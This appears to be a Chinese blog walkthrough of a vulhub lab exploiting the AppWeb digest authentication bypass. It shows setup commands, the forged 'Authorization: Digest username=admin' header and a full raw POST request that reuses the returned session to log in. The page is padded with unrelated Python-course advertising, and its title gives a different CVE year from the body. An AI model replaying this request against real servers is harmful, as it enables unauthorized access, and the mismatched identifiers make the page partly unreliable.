04 - vulhub - AppWeb认证绕过漏洞（CVE-2024-8715）

如果你也是看准了Python，想自学Python，在这里为大家准备了丰厚的免费学习大礼包，带大家一起学习，给大家剖析Python兼职、就业行情前景的这些事儿。

一、Python所有方向的学习路线

Python所有方向路线就是把Python常用的技术点做整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

二、学习软件

工欲善其必先利其器。学习Python常用的开发软件都在这里了，给大家节省了很多时间。

三、全套PDF电子书

书籍的好处就在于权威和体系健全，刚开始学习的时候你可以只看视频或者听某个人讲课，但等你学完之后，你觉得你掌握了，这时候建议还是得去看一下书籍，看权威技术书籍也是每个程序员必经之路。

四、入门学习视频

我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。

四、实战案例

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

五、面试资料

我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。

成为一个Python程序员专家或许需要花费数年时间，但是打下坚实的基础只要几周就可以，如果你按照我提供的学习路线以及资料有意识地去实践，你就有很大可能成功！
最后祝你好运！！！

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

靶机环境 139.196.87.102 (vulhub)

攻击机环境 192.168.8.131 （虚拟机 Ubuntu 20、Java1.8、Burp）

启动 AppWeb认证绕过漏洞（CVE-2018-8715） 环境

1.进入 vulhub 的 CVE-2018-8715

cd /usr/local/tools/vulhub/appweb/CVE-2018-8715

2.编译并启动环境

docker-compose up -d

3.查看环境运行状态

docker ps | grep appweb

---

---

访问 8080 端口

---

---

漏洞利用条件限制

需要先知道一个用户名

漏洞利用

直接访问 8080 端口 ，弹出如上图的登录框, 利用burpsuite抓包工具截取数据包.

如下图：

构造数据包头部信息 Authorization: Digest username=admin

---

---

此时响应包会返回一个 session

---

---

将 获取到的 session 带入登录请求包里，再次发送请求。[利用这个session即可实现绕过验证，即便不专门设置session只要浏览器记录了cookie，session也可以登录]

---

这里有个小坑，我们获取到session数据后，可以利用浏览器插件将其写进去。【也可以利用下面再次 burp 抓包的方式绕过】

否则直接访问 8080 端口,仍提示需要输入账号密码登录。失败结果如下图

---

---

此时，我们再次访问 8080端口,并开启 burp 的抓包模式，将抓到拦截的的数据包，修改为我们添加了 session 和 含有 body 信息的的数据包,然后 forword 放过。

数据包如下：

POST / HTTP/1.1

Host: 139.196.87.102:8080

Authorization: Digest username=admin

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

-http-session-=1::http.session::168cd8ed69ac17295eaf56344dec9b7d

Content-Length: 16

user=admin

现在能在网上找到很多很多的学习资源，有免费的也有收费的，当我拿到1套比较全的学习资源之前，我并没着急去看第1节，我而是去审视这套资源是否值得学习，有时候也会去问一些学长的意见，如果可以之后，我会对这套学习资源做1个学习计划，我的学习计划主要包括规划图和学习进度表。

分享给大家这份我薅到的免费视频资料，质量还不错，大家可以跟着学习

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！